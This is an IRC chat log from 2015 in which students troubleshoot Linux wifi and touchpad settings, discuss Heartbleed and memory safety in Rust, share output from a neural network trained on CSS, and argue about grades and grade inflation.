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[2015-02-01T23:40:16-0500] <nezorg> ubuntor: that command didn't fix things :/
[2015-02-01T23:40:32-0500] <ubuntor> hm
[2015-02-01T23:40:48-0500] <ubuntor> try messing with the txpower
[2015-02-01T23:41:06-0500] <nezorg> I'm right next to the AP...
[2015-02-01T23:41:21-0500] <nezorg> well not right next to but pretty close
[2015-02-01T23:41:28-0500] <ubuntor> ...that's pretty bad
[2015-02-01T23:42:54-0500] <ubuntor> hm, i think i had a list of commands to fix wifi somewhere
[2015-02-01T23:49:02-0500] <ubuntor> try: sudo iwconfig wlan0 txpower off, wait a bit, sudo iwconfig wlan0 txpower auto?
[2015-02-01T23:49:36-0500] <assface> hola
[2015-02-01T23:49:39-0500] <ubuntor> might just be the placebo effect though
[2015-02-01T23:49:43-0500] <ubuntor> assface: hey
[2015-02-01T23:50:15-0500] <assface> are you discovering the wonderful world iof iwconfig?
[2015-02-01T23:50:36-0500] <assface> I had to use that for 2 weeks before I got a working wifi driver
[2015-02-01T23:50:53-0500] <LittleBobbyTables> why not txpower 31
[2015-02-01T23:51:24-0500] <assface> why not zoidberg?
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[2015-02-02T06:32:36-0500] <+JacobEdelman> I have returned
[2015-02-02T06:33:38-0500] <+JacobEdelman> (ps: by parents yelling last night, I meant parents telling me to go to sleep, I just realized that could be misinterperted)
[2015-02-02T07:59:29-0500] <+JacobEdelman> hmmm... jacob tired
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[2015-02-02T10:45:26-0500] <alokpathy> Tamini_: Salutations
[2015-02-02T10:45:49-0500] • Tamini_: curtsys
[2015-02-02T11:48:46-0500] <+JacobEdelman> hello
[2015-02-02T11:48:46-0500] <+JacobEdelman> http://www.tedunangst.com/flak/post/heartbleed-in-rust
[2015-02-02T11:48:54-0500] <+JacobEdelman> alokpathy: shouldn't you be in class?
[2015-02-02T11:49:18-0500] <+JacobEdelman> (awe, that link was for you)
[2015-02-02T11:49:38-0500] <nezorg> JacobEdelman: that's not even like heartbleed
[2015-02-02T11:49:54-0500] <Coast> Tamini_, hi, still interested in Splinter Cell Blacklist?
[2015-02-02T11:50:06-0500] <+JacobEdelman> nezorg: wait, yes it is, reading a file with unbounded length?
[2015-02-02T11:50:59-0500] <nezorg> JacobEdelman: the problem with heartbleed was that it was using unitialized memory
[2015-02-02T11:51:06-0500] <nezorg> which had old stuff in it
[2015-02-02T11:51:17-0500] <+JacobEdelman> nezorg: wait, what? hmmm... that does make sense
[2015-02-02T11:53:03-0500] <+JacobEdelman> yeah, looking at the hn thread the top thing is pointing out that this is wrong
[2015-02-02T11:53:10-0500] <+JacobEdelman> thanks for correcting me
[2015-02-02T11:54:29-0500] <+JacobEdelman> also: http://xkcd.com/1481/
[2015-02-02T12:09:07-0500] <+JacobEdelman> awe: I'm training that neural network on boostrap css and its learning to generate realistic looking css, markov chains can't do that on a character by character level
[2015-02-02T12:16:18-0500] <Hyper> JacobEdelman: oh god
[2015-02-02T12:16:25-0500] <Hyper> I'm morbidly curious
[2015-02-02T12:16:41-0500] <+JacobEdelman> Hyper: http://cs.stanford.edu/people/karpathy/recurrentjs/
[2015-02-02T12:17:38-0500] <Hyper> JacobEdelman: where's the awful CSS then?
[2015-02-02T12:17:39-0500] <Hyper> eh
[2015-02-02T12:17:44-0500] <+JacobEdelman> oh,
[2015-02-02T12:17:49-0500] <+JacobEdelman> I can show you what mine is outputing
[2015-02-02T12:17:56-0500] <Hyper> that was the interesting part
[2015-02-02T12:18:01-0500] <Hyper> I know how anns work :)
[2015-02-02T12:19:06-0500] <+JacobEdelman> I plugged this in https://raw.githubusercontent.com/anhtran/bootstrap-theme-mint/master/css/bootstrap-mint.css
[2015-02-02T12:19:21-0500] <Tamini_> um
[2015-02-02T12:19:35-0500] <Hyper> JacobEdelman: I also know what CSS looks like
[2015-02-02T12:19:35-0500] <+JacobEdelman> (and its rnn, not anns, and its actually an LSTM)
[2015-02-02T12:19:45-0500] <Tamini_> im okay
[2015-02-02T12:19:47-0500] <Tamini_> and lol
[2015-02-02T12:20:13-0500] <+JacobEdelman> give me a minute, I restarted it to try new paremeters
[2015-02-02T12:20:37-0500] <+JacobEdelman> heres is after a few seconds of training 
[2015-02-02T12:20:40-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/8wzfIh7m
[2015-02-02T12:20:45-0500] <+JacobEdelman> thats some sample output
[2015-02-02T12:20:59-0500] <Hyper> that's um,
[2015-02-02T12:21:04-0500] <Hyper> vaguely css-y
[2015-02-02T12:21:54-0500] <+JacobEdelman> after some more time
[2015-02-02T12:21:56-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/GtbysLAK
[2015-02-02T12:22:08-0500] <+JacobEdelman> remember, neural nets can take a while to get good
[2015-02-02T12:22:10-0500] <Hyper> inder-wogrroverfle-carportaoum-cheandsdacock=wogral
[2015-02-02T12:22:12-0500] <Hyper> that's deep
[2015-02-02T12:22:37-0500] <+JacobEdelman> yup :P
[2015-02-02T12:22:42-0500] <+JacobEdelman> when you use paul grahams stuff
[2015-02-02T12:22:48-0500] <+JacobEdelman> the text tends to be full of 
[2015-02-02T12:22:58-0500] <Hyper> bullshit?
[2015-02-02T12:23:03-0500] <+JacobEdelman> "start-up if the start-up take advantage of start-up"
[2015-02-02T12:23:49-0500] <+JacobEdelman> also, note each line is generated individually
[2015-02-02T12:23:59-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/xRo9Oucz
[2015-02-02T12:24:07-0500] <+JacobEdelman> thats what its at now
[2015-02-02T12:24:46-0500] <Hyper> JacobEdelman: you should apply a penalty for the number of errors in some linter
[2015-02-02T12:25:05-0500] <+JacobEdelman> its not my product :P but I probaly could do that if I wanted to
[2015-02-02T12:25:23-0500] <+JacobEdelman> what I actually want to do is try using it for compression on css and such
[2015-02-02T12:26:20-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/xFhY1uQr
[2015-02-02T12:26:23-0500] <+JacobEdelman> and thats now
[2015-02-02T12:27:38-0500] <alokpathy> JacobEdelman: it started at 11
[2015-02-02T12:27:53-0500] <+JacobEdelman> alokpathy: what did?
[2015-02-02T12:28:20-0500] <Tamini_> wait JacobEdelman
[2015-02-02T12:28:24-0500] <Tamini_> shouldnt you be in class?
[2015-02-02T12:33:00-0500] <@awe> JacobEdelman: for the record, the major issue with Heartbleed is *actually* impossible in Rust.
[2015-02-02T12:33:09-0500] <@awe> JacobEdelman: unless you wrote unsafe code for no reason.
[2015-02-02T12:33:11-0500] <+JacobEdelman> awe: I know, I realized
[2015-02-02T12:33:38-0500] <+JacobEdelman> Tamini_: class.... hmmm... I've heard of that somewhere.... hmmm.... (jacob has study halls and independent studies a lot)
[2015-02-02T12:33:47-0500] <@awe> [12:09:07]  <+JacobEdelman>	awe: I'm training that neural network on boostrap css and its learning to generate realistic looking css, markov chains can't do that on a character by character level
[2015-02-02T12:33:49-0500] <@awe> JacobEdelman: why not?
[2015-02-02T12:34:24-0500] <+JacobEdelman> cause a normal markov chain won't learn things like parenthese termination
[2015-02-02T12:34:38-0500] <+JacobEdelman> this kinda neural network can learn context sensitive grammars
[2015-02-02T12:34:49-0500] <@awe> Parentheses aren't exactly common in CSS.
[2015-02-02T12:35:14-0500] <@awe> Anyway, with a bit of specialization you could do one better and actually generate 100% valid CSS using Markov chains.
[2015-02-02T12:35:27-0500] <+JacobEdelman> yes, but it can't learn general grammars
[2015-02-02T12:35:32-0500] <+JacobEdelman> thats the whole point
[2015-02-02T12:35:33-0500] <@awe> No, of course not.
[2015-02-02T12:35:39-0500] <+JacobEdelman> if you don't know the grammar for something
[2015-02-02T12:35:42-0500] <@awe> It's just a simple state model.
[2015-02-02T12:35:42-0500] <+JacobEdelman> neural nets can learn it
[2015-02-02T12:35:51-0500] <@awe> Cool.
[2015-02-02T12:35:57-0500] <+JacobEdelman> (well, most grammars)
[2015-02-02T12:36:01-0500] <+JacobEdelman> (I'm not sure about all)
[2015-02-02T12:36:19-0500] <@awe> I've never said neural networks aren't cool.
[2015-02-02T12:36:26-0500] <@awe> But that JS one is pretty bad.
[2015-02-02T12:36:26-0500] <+JacobEdelman> okay, sorry
[2015-02-02T12:36:29-0500] <+JacobEdelman> no, its not
[2015-02-02T12:36:40-0500] <+JacobEdelman> NO, the algo is the same as any other neural net
[2015-02-02T12:36:47-0500] • JacobEdelman: facepalms
[2015-02-02T12:37:08-0500] <@awe> Clearly, that algorithm is ineffectual.
[2015-02-02T12:37:16-0500] <@awe> I ran it overnight and it never outputted anything that looked remotely like English.
[2015-02-02T12:37:35-0500] <@awe> The sample outputs of "css" you have look like garbage, too.
[2015-02-02T12:38:28-0500] <@awe> Maybe the issue is just that training is really intensive and something like showing it in a browser should never exist.
[2015-02-02T12:38:30-0500] <@awe> That's also possible.
[2015-02-02T12:54:38-0500] <+JacobEdelman> no, no, no
[2015-02-02T12:54:43-0500] <+JacobEdelman> well, kinda
[2015-02-02T12:54:53-0500] <+JacobEdelman> remotely linke english depends on your definition
[2015-02-02T12:55:00-0500] <alokpathy> JacobEdelman: my class
[2015-02-02T12:55:15-0500] <+JacobEdelman> I mean, it can easily be just as good as a 5-gram markov chain in a short amount of time
[2015-02-02T12:55:17-0500] <+JacobEdelman> alokpathy: I guessed
[2015-02-02T13:00:58-0500] <+JacobEdelman> I'm running it on parenthese, where they have to be properly closed and such
[2015-02-02T13:01:03-0500] <+JacobEdelman> heres some output awe
[2015-02-02T13:01:07-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/l0SGTO4Z
[2015-02-02T13:03:10-0500] <@awe> O>short amount of time
[2015-02-02T13:03:21-0500] <@awe> How long is that because a DAY didn't get it to be anything close.
[2015-02-02T13:03:40-0500] <+JacobEdelman> maybe 2 minutes?
[2015-02-02T13:03:57-0500] <@awe> Then why was that completely NOT the case?
[2015-02-02T13:04:07-0500] <+JacobEdelman> 2 min for just parentheses
[2015-02-02T13:04:10-0500] <+JacobEdelman> not for english
[2015-02-02T13:04:17-0500] <@awe> I was asking about English.
[2015-02-02T13:04:20-0500] <@awe> I don't care about parentheses.
[2015-02-02T13:04:42-0500] <+JacobEdelman> also, I've noticed problems with it not running in the background in one of my tabs
[2015-02-02T13:04:48-0500] <+JacobEdelman> but that may just be my browser being weird
[2015-02-02T13:04:57-0500] <+JacobEdelman> (it might be that its slowed down when in the background)
[2015-02-02T13:05:11-0500] <+JacobEdelman> awe: parentheses can not be learned by markov chains
[2015-02-02T13:06:03-0500] <+JacobEdelman> I mean it just generated: "()(((())())((()))())(((((((()((()(())(((((())()()))()))()))()))())(())))))(())"
[2015-02-02T13:06:19-0500] <+JacobEdelman> when no sample was larger than 40 characters (thats 78 characters)
[2015-02-02T13:06:23-0500] <+JacobEdelman> and its right
[2015-02-02T13:06:29-0500] <+JacobEdelman> so clearly it learned it
[2015-02-02T13:06:51-0500] <@awe> I ALREADY SAID I KNOW THAT IT CAN DO MORE THINGS
[2015-02-02T13:06:59-0500] <+JacobEdelman> fine, no need to yell
[2015-02-02T13:07:03-0500] <@awe> I JUST SAID RUNNING IT IN A BROWSER IS A BAD IDEA.
[2015-02-02T13:07:08-0500] <+JacobEdelman> no, its not
[2015-02-02T13:07:09-0500] <@awe> PLEASE STOP TRYING TO CONVINCE ME OF ANYTHING.
[2015-02-02T13:07:23-0500] <+JacobEdelman> running in the browser is fine, but okay, I won't try to convince you
[2015-02-02T13:07:28-0500] <@awe> I WILL NEVER AGREE WITH YOUR "EVERYTHING SHOULD BE A WEB BROWSER" PERSPECTIVE.
[2015-02-02T13:07:33-0500] <+JacobEdelman> :P
[2015-02-02T13:08:04-0500] <Hyper> awe: umad?
[2015-02-02T13:08:05-0500] <+JacobEdelman> (in this case I'm just saying neural nets are not ready for real use, so putting them in the browser is fine)
[2015-02-02T13:08:12-0500] <@awe> No, I'm really not.
[2015-02-02T13:08:13-0500] <+JacobEdelman> also, really, caps lock?
[2015-02-02T13:08:20-0500] <@awe> I didn't caps lock.
[2015-02-02T13:08:25-0500] <@awe> I held the shift key lovingly the entire time.
[2015-02-02T13:08:36-0500] <+JacobEdelman> oh, that makes a _huge_ difference
[2015-02-02T13:08:41-0500] <+JacobEdelman> :P
[2015-02-02T13:17:05-0500] <+JacobEdelman> fun fact: this is neither fun nor a fact!
[2015-02-02T13:18:05-0500] <+JacobEdelman> fun fact: This is correct english xor "xor" is not a word!
[2015-02-02T13:44:13-0500] <@awe> JacobEdelman: true stories.
[2015-02-02T13:44:38-0500] <+JacobEdelman> also, doing my research project makes me angry
[2015-02-02T13:44:50-0500] <+JacobEdelman> I'm looking up memes on the gov. registry for trademarks
[2015-02-02T13:44:54-0500] <+JacobEdelman> and several of them show up
[2015-02-02T13:45:01-0500] <+JacobEdelman> by random corporations
[2015-02-02T13:45:04-0500] <+JacobEdelman> which makes me angry
[2015-02-02T13:45:36-0500] <+JacobEdelman> like: http://tmsearch.uspto.gov/bin/showfield?f=doc&state=4810:ag6te3.40.1
[2015-02-02T13:45:51-0500] <+JacobEdelman> and http://tmsearch.uspto.gov/bin/showfield?f=doc&state=4810:ag6te3.41.1
[2015-02-02T13:47:44-0500] <Tamini_> yo alokpathy
[2015-02-02T13:47:49-0500] <Tamini_> did you 11:30 cf?
[2015-02-02T13:51:43-0500] <alokpathy> No I had school :P
[2015-02-02T13:53:11-0500] <Tamini_> oh
[2015-02-02T13:53:12-0500] <Tamini_> darn
[2015-02-02T13:53:15-0500] <Tamini_> whats the thing for
[2015-02-02T13:53:18-0500] <Tamini_> storing dependencies
[2015-02-02T13:53:47-0500] <alokpathy> You mean a tree...?
[2015-02-02T13:53:59-0500] <Hyper> A graph :)
[2015-02-02T13:54:10-0500] <Hyper> plus topological sort :)
[2015-02-02T13:54:20-0500] <Tamini_> oh
[2015-02-02T13:54:21-0500] <Tamini_> wait
[2015-02-02T13:54:26-0500] <Tamini_> he just meant directed graph
[2015-02-02T13:54:30-0500] <Tamini_> and said it really wrong
[2015-02-02T13:57:34-0500] <alokpathy> And if the graph has a cycle, you fucked
[2015-02-02T13:59:04-0500] <Hyper> alokpathy: breaking cycles is an exercise for the reader :)
[2015-02-02T13:59:45-0500] <Tamini_> lolol
[2015-02-02T13:59:52-0500] <Tamini_> BASICALLY
[2015-02-02T13:59:55-0500] <Tamini_> div 1 A
[2015-02-02T13:59:58-0500] <Tamini_> was a toposort
[2015-02-02T14:00:09-0500] <Tamini_> if cycles -> erything dies
[2015-02-02T14:00:12-0500] <Tamini_> else toposort
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[2015-02-02T14:19:09-0500] <alokpathy> Wow actually?
[2015-02-02T14:19:12-0500] <alokpathy> That's more like Div2 B
[2015-02-02T14:35:38-0500] <+Tamini> lol
[2015-02-02T14:35:41-0500] <+Tamini> basically
[2015-02-02T14:56:56-0500] <nezorg> ugh these margin questions are so annoying
[2015-02-02T14:57:07-0500] <+Tamini> hm?
[2015-02-02T14:57:13-0500] <nezorg> I'm in apush right now
[2015-02-02T14:57:20-0500] <nezorg> our book has these questions in the margin
[2015-02-02T14:57:25-0500] <nezorg> and we have to answer them right now
[2015-02-02T14:57:27-0500] <nezorg> it's annoying
[2015-02-02T15:15:29-0500] <nezorg> ubuntor: since you seem to know a thing about fixing issues under linux
[2015-02-02T15:15:46-0500] <nezorg> do you know how to make palm rejection actually work well?
[2015-02-02T15:15:54-0500] <nezorg> I've tried configuring synaptics but it still sucks
[2015-02-02T15:16:40-0500] <ubuntor> hm
[2015-02-02T15:16:59-0500] <+Tamini> lol
[2015-02-02T15:17:02-0500] <+Tamini> what are you kids doing in apush?
[2015-02-02T15:17:23-0500] <nezorg> "Chapter 20: Whose Government? Politics, Populists, and Progressives, 1880-1917"
[2015-02-02T15:19:21-0500] <ubuntor> what does "synclient | grep Palm" give you?
[2015-02-02T15:26:21-0500] <@awe> [13:45:36]  <+JacobEdelman>	like: http://tmsearch.uspto.gov/bin/showfield?f=doc&state=4810:ag6te3.40.1
[2015-02-02T15:26:21-0500] <@awe> [13:45:51]  <+JacobEdelman>	and http://tmsearch.uspto.gov/bin/showfield?f=doc&state=4810:ag6te3.41.1
[2015-02-02T15:26:27-0500] <@awe> JacobEdelman: these are tied to sessions and thus don't work.
[2015-02-02T15:26:31-0500] <@awe> JacobEdelman: which memes are they?
[2015-02-02T15:26:32-0500] <+JacobEdelman> oh, weird
[2015-02-02T15:26:38-0500] <+JacobEdelman> its rage comics and lolcats
[2015-02-02T15:26:41-0500] <@awe> Ah.
[2015-02-02T15:26:57-0500] <+JacobEdelman> (rage comics for apps that let you view/make them, lolcats for clothing I think)
[2015-02-02T15:27:16-0500] <+JacobEdelman> nezorg: were on ch 23 or something, the great depression
[2015-02-02T15:27:33-0500] <nezorg> ah
[2015-02-02T15:27:36-0500] <nezorg> which book?
[2015-02-02T15:28:33-0500] <ubuntor> ooh, we're about to start the gilded age, so around the same time period
[2015-02-02T15:28:41-0500] <+Tamini> i havent like
[2015-02-02T15:28:46-0500] <+Tamini> cracked open my book yet \
[2015-02-02T15:28:49-0500] <+Tamini> oops
[2015-02-02T15:29:13-0500] <+JacobEdelman> nezorg: I don't kow off the top of my head, I'll check later 
[2015-02-02T15:29:27-0500] <+JacobEdelman> Tamini_: clearly you don't have a hard class
[2015-02-02T15:29:33-0500] <+JacobEdelman> apush is the hardest class in my school
[2015-02-02T15:29:57-0500] <+JacobEdelman> brice, chris, and I are all struggling
[2015-02-02T15:30:03-0500] <+JacobEdelman> well, I'm struggling
[2015-02-02T15:30:12-0500] <+JacobEdelman> brice and chris don't care since they already got into college
[2015-02-02T15:30:23-0500] <+JacobEdelman> .... its annoying having senior friends some times
[2015-02-02T15:30:26-0500] <+JacobEdelman> :P
[2015-02-02T15:30:36-0500] <+Tamini> lol
[2015-02-02T15:30:43-0500] <+Tamini> well apush is kinda hard for everyone
[2015-02-02T15:30:51-0500] <+Tamini> but our class gives a huge curve to compensate
[2015-02-02T15:30:59-0500] <+Tamini> plus our teacher has really good lectures+the study guide book is good
[2015-02-02T15:31:01-0500] <+JacobEdelman> nope, no curve at all
[2015-02-02T15:31:03-0500] <+Tamini> so im doing alright :D
[2015-02-02T15:31:20-0500] <+JacobEdelman> the best teacher in the school is the apush teacher (in my and many others opinions), so that helps
[2015-02-02T15:31:25-0500] <ubuntor> tfw no curve :(
[2015-02-02T15:31:30-0500] <@awe> JacobEdelman: but that 79.45% that you're going to land is totally aB.
[2015-02-02T15:31:43-0500] <+Tamini> LOL
[2015-02-02T15:31:51-0500] <+Tamini> apush is my highest grade
[2015-02-02T15:31:55-0500] <+Tamini> im doing something very wrong
[2015-02-02T15:31:56-0500] <+Tamini> >.<
[2015-02-02T15:31:58-0500] <+JacobEdelman> our school does double rounding  for grades :P
[2015-02-02T15:32:15-0500] <+JacobEdelman> awe: I'm doing better than that :) , its an A I'm stressed about getting
[2015-02-02T15:32:28-0500] <+Tamini> heh
[2015-02-02T15:32:31-0500] <+Tamini> you can do it, jacobo
[2015-02-02T15:32:32-0500] <+Tamini> :D
[2015-02-02T15:33:17-0500] <+JacobEdelman> ... I'm really not sure I can...
[2015-02-02T15:33:19-0500] <+JacobEdelman> but I'll try
[2015-02-02T15:33:23-0500] <@awe> You can tell there's something wrong with our school district when
[2015-02-02T15:33:50-0500] <@awe> "the hardest class in [the] school" causes stress about getting an A.
[2015-02-02T15:33:53-0500] <@awe> >.>
[2015-02-02T15:34:02-0500] <+Tamini> loool
[2015-02-02T15:34:02-0500] <@awe> It's clearly not that hard if you can pretty much default to a B.
[2015-02-02T15:34:07-0500] <+Tamini> ^
[2015-02-02T15:34:17-0500] <+Tamini> the average in my multi class is a C
[2015-02-02T15:34:23-0500] <+Tamini> you kids are doing something wrong
[2015-02-02T15:34:49-0500] <@awe> There's rampant grade inflation.
[2015-02-02T15:34:56-0500] <@awe> So, the one class that isn't as inflated is somehow "hard."
[2015-02-02T15:35:05-0500] <+JacobEdelman> awe: its only like that for a few very try hard people like me
[2015-02-02T15:35:15-0500] <+JacobEdelman> awe: no, theres not rampant grade inflation
[2015-02-02T15:35:25-0500] <@awe> Right.
[2015-02-02T15:35:29-0500] <+JacobEdelman> awe: only a very few kids get an A in APUSH, I just want to be one of them
[2015-02-02T15:35:31-0500] <@awe> It's not like the average grade in our school is an A or anything.
[2015-02-02T15:35:45-0500] <+JacobEdelman> awe: I don't think it is, at least not in the harder classes
[2015-02-02T15:35:54-0500] <+JacobEdelman> awe: actually, nto at all
[2015-02-02T15:36:08-0500] <+JacobEdelman> awe: I think you're taking in to account too much people you know and what they talked about
[2015-02-02T15:36:26-0500] <+Tamini> well
[2015-02-02T15:36:30-0500] <+Tamini> whats your class average?
[2015-02-02T15:36:32-0500] <@awe> Well, yes, everyone claims to get straight A's but actually doesn't.
[2015-02-02T15:36:35-0500] <+JacobEdelman> for apush?
[2015-02-02T15:36:50-0500] <@awe> Tamini: the only class where I was giving averages was math, and they were usually B's.
[2015-02-02T15:37:00-0500] <+Tamini> weird
[2015-02-02T15:37:09-0500] <+JacobEdelman> Tamini: for apush its probably a low B, maybe a C?
[2015-02-02T15:37:42-0500] <+JacobEdelman> Tamini: for BC calc most people got As, and every single person got a 5 on the AP so clearly our teacher is doing something right
[2015-02-02T15:37:59-0500] <+JacobEdelman> Tamini_: for multi.... hmm, probaly an A there two, its a small, self selecting class
[2015-02-02T15:38:04-0500] <+Tamini> a 5 on the AP
[2015-02-02T15:38:06-0500] <+Tamini> means nothing
[2015-02-02T15:38:14-0500] <+Tamini> it means you can solve an integral, yay
[2015-02-02T15:38:29-0500] <+JacobEdelman> Tamini: actually, maybe BC was average of a B
[2015-02-02T15:38:55-0500] <@awe> Note: is making up all of these numbers
[2015-02-02T15:38:57-0500] <+JacobEdelman> since before the final I had a B, and I had a one question buffer on the final, so I got exactly one question wrong and made the A :P
[2015-02-02T15:39:12-0500] <+JacobEdelman> awe: no, I'm not
[2015-02-02T15:39:26-0500] <+JacobEdelman> awe: Mr. cornell said everybody got a 5 and bragged about it too parents
[2015-02-02T15:39:41-0500] <+JacobEdelman> Tamini_: arn't there always those few kids who go throuhg a math class and still don't seem to know anything?
[2015-02-02T15:39:44-0500] <@awe> Not that.
[2015-02-02T15:39:47-0500] <@awe> I meant the grades.
[2015-02-02T15:39:53-0500] <@awe> You're completely making up the average grades.
[2015-02-02T15:39:56-0500] <+JacobEdelman> awe: no, I'm not
[2015-02-02T15:39:57-0500] <@awe> Yes.
[2015-02-02T15:39:58-0500] <@awe> You are.
[2015-02-02T15:40:00-0500] <@awe> You're guessing.
[2015-02-02T15:40:04-0500] <@awe> " its probably a low B, maybe a C?"
[2015-02-02T15:40:06-0500] <+JacobEdelman> educated guess
[2015-02-02T15:40:09-0500] <+JacobEdelman> its a B, fine
[2015-02-02T15:40:10-0500] <@awe> "most people got As,"
[2015-02-02T15:40:14-0500] <@awe> "maybe BC was average of a B"
[2015-02-02T15:40:18-0500] <@awe> You're making them up completely.
[2015-02-02T15:40:19-0500] <@awe> Just stop.
[2015-02-02T15:40:21-0500] <+JacobEdelman> no
[2015-02-02T15:40:26-0500] <+JacobEdelman> well, its not completely made up
[2015-02-02T15:40:32-0500] <@awe> You're guessing.
[2015-02-02T15:40:34-0500] <+JacobEdelman> just partially made up
[2015-02-02T15:40:37-0500] <@awe> Just stop.
[2015-02-02T15:40:41-0500] <+JacobEdelman> Tamini asked so I gave educated guesses
[2015-02-02T15:40:51-0500] <+JacobEdelman> awe: you're unusally grumpy today, calm down
[2015-02-02T15:42:09-0500] <@awe> Maybe preface these with the fact that you're completely making them up then?
[2015-02-02T15:42:28-0500] <+JacobEdelman> awe: thats why I want status's for pdgn
[2015-02-02T15:42:30-0500] <+JacobEdelman> so mine can be
[2015-02-02T15:43:23-0500] <+JacobEdelman> "Disclaimer: Everything I say does not necessarily represent my opinion or reality."
[2015-02-02T15:43:27-0500] <+JacobEdelman> or something of that sort
[2015-02-02T15:43:46-0500] <ubuntor> there's @iam
[2015-02-02T15:45:53-0500] <@awe> That's the closest thing you can get to statuses anyway.
[2015-02-02T15:48:49-0500] <@awe> I can just set yours to be JacobEdelman is always wrong.
[2015-02-02T15:48:59-0500] <@awe> And then make it so you in particular cannot change it.
[2015-02-02T15:49:00-0500] <+JacobEdelman> yes, I am always wrong
[2015-02-02T15:49:02-0500] <+Tamini> lol
[2015-02-02T15:49:04-0500] <+Tamini> well
[2015-02-02T15:49:08-0500] <+JacobEdelman> :P
[2015-02-02T15:49:10-0500] <+Tamini> hes wrong most of the time
[2015-02-02T15:49:11-0500] <+Tamini> :P
[2015-02-02T15:49:17-0500] <+Tamini> not 100%
[2015-02-02T15:49:25-0500] <+JacobEdelman> for instance, I once said this
[2015-02-02T15:50:11-0500] <alokpathy> Well, Cornell gave the final grade distribution for the past few years to us
[2015-02-02T15:50:15-0500] <alokpathy> most kids got A's
[2015-02-02T15:50:52-0500] <alokpathy> I think I have that paper somewhere.
[2015-02-02T15:51:19-0500] <+Tamini> hmm
[2015-02-02T15:51:23-0500] <+Tamini> and i mean
[2015-02-02T15:51:31-0500] <+JacobEdelman> for multi or bc?
[2015-02-02T15:51:34-0500] <+Tamini> you talked about grade inflation at princeton]\
[2015-02-02T15:51:47-0500] <+JacobEdelman> princeton does not have a real problem with that
[2015-02-02T15:51:59-0500] <+JacobEdelman> they had a problem when they tried to introduce grade deflation
[2015-02-02T15:52:03-0500] <@awe> You're wrong.
[2015-02-02T15:52:10-0500] <+Tamini> ^
[2015-02-02T15:52:15-0500] <@awe> Universities are heavily grade inflated.
[2015-02-02T15:52:15-0500] <+Tamini> ive heard multiple people
[2015-02-02T15:52:30-0500] <@awe> More than 25% of the class here will have higher than a 3.8.
[2015-02-02T15:52:32-0500] <+Tamini> talk about the ridiculous grade inflation at high-tier unis
[2015-02-02T15:52:33-0500] <+Tamini> ^
[2015-02-02T15:52:36-0500] <+JacobEdelman> wait
[2015-02-02T15:52:40-0500] <+JacobEdelman> if they are all inflated
[2015-02-02T15:52:45-0500] <+JacobEdelman> than whats the problem?
[2015-02-02T15:52:48-0500] <@awe> GPA is meaningless.
[2015-02-02T15:52:53-0500] <+JacobEdelman> okay, so?
[2015-02-02T15:52:59-0500] <@awe> It's treated as though it has meaning.
[2015-02-02T15:52:59-0500] <+JacobEdelman> grades are mostly meaningless anyway
[2015-02-02T15:53:00-0500] <alokpathy> JacobEdelman: BC, but I'm pretty sure multi too. Cornell told somebody who told me the number of < A's in multi right now
[2015-02-02T15:53:01-0500] <@awe> But is entirely meaningless.
[2015-02-02T15:53:02-0500] <alokpathy> and it's very low.
[2015-02-02T15:53:19-0500] <+JacobEdelman> I mean, awe, you're gpa wasn't great, but you're just as smart as ben who's gpa was almost perfect
[2015-02-02T15:53:31-0500] <@awe> I'm not just as smart as Ben.
[2015-02-02T15:53:33-0500] <@awe> That's definitely not true.
[2015-02-02T15:53:48-0500] <@awe> And the point is that there are other people who got GPAs similar to Ben who are nowhere near as smart as Ben.
[2015-02-02T15:53:56-0500] <@awe> That's the issue.
[2015-02-02T15:54:03-0500] <+JacobEdelman> awe: i didn't want to be rude, the more true version is: you have the same potential to succeed in life as ben
[2015-02-02T15:54:13-0500] <@awe> That's also not necessarily true.
[2015-02-02T15:54:21-0500] <alokpathy> That's uh
[2015-02-02T15:54:30-0500] <alokpathy> what's the word
[2015-02-02T15:54:36-0500] <+Tamini> i mean
[2015-02-02T15:54:36-0500] <+JacobEdelman> eh, i think it is, I mean, you're already working for a startup and all
[2015-02-02T15:54:42-0500] <+Tamini> i don't even think its fair to compare awe and ben
[2015-02-02T15:54:47-0500] <+Tamini> they do ENTIRELY different things.
[2015-02-02T15:54:47-0500] <+JacobEdelman> why?
[2015-02-02T15:54:50-0500] <+JacobEdelman> no
[2015-02-02T15:54:51-0500] <alokpathy> JacobEdelman: There are a lot more factors to success than intelligence.
[2015-02-02T15:54:53-0500] <+JacobEdelman> they dont
[2015-02-02T15:54:55-0500] <+Tamini> sort of.
[2015-02-02T15:54:57-0500] <@awe> Working at a startup is not success.
[2015-02-02T15:55:02-0500] <+Tamini> in the sense you're comparing them, yes
[2015-02-02T15:55:07-0500] <+JacobEdelman> alokpathy: I know? where'd I contradict that?
[2015-02-02T15:55:21-0500] <+JacobEdelman> awe: stop putting yourself down, you are awe-some, except it
[2015-02-02T15:55:48-0500] <alokpathy> JacobEdelman: You didn't. You just said "you have the same potential to succeed in life as ben" when you can't really judge somebody's potential of success. There are too many factors.
[2015-02-02T15:55:49-0500] <+JacobEdelman> Tamini_: awe is interested in very similar things to what I am interested in, and ben is interested in very similar things as myself too
[2015-02-02T15:55:57-0500] <+JacobEdelman> alokpathy: I'm smart like that
[2015-02-02T15:56:00-0500] <+JacobEdelman> alokpathy:  :P
[2015-02-02T15:56:08-0500] <alokpathy> .-.
[2015-02-02T15:56:21-0500] <+JacobEdelman> I don't compeltely understand ".-."
[2015-02-02T15:56:30-0500] <+JacobEdelman> why are the eyes on the chin? what does it mean?
[2015-02-02T15:56:32-0500] <alokpathy> It's okay.
[2015-02-02T15:56:39-0500] <alokpathy> It's an upside down face.
[2015-02-02T15:57:05-0500] <ubuntor> it's morse for r
[2015-02-02T15:57:12-0500] <+JacobEdelman> alokpathy: why?
[2015-02-02T15:57:19-0500] <+JacobEdelman> alokpathy: what does it mean?
[2015-02-02T15:57:19-0500] <+Tamini> JacobEdelman: you keep pinging
[2015-02-02T15:57:20-0500] <+Tamini> the wrong me man
[2015-02-02T15:57:21-0500] <+Tamini> :P
[2015-02-02T15:57:36-0500] <+JacobEdelman> sorry :P
[2015-02-02T15:57:47-0500] <+JacobEdelman> I blame alokpathy 
[2015-02-02T15:58:17-0500] <alokpathy> wat
[2015-02-02T15:58:50-0500] <ubuntor> too apathetic?
[2015-02-02T15:59:35-0500] <+Tamini> but idk
[2015-02-02T15:59:36-0500] <+Tamini> i mean
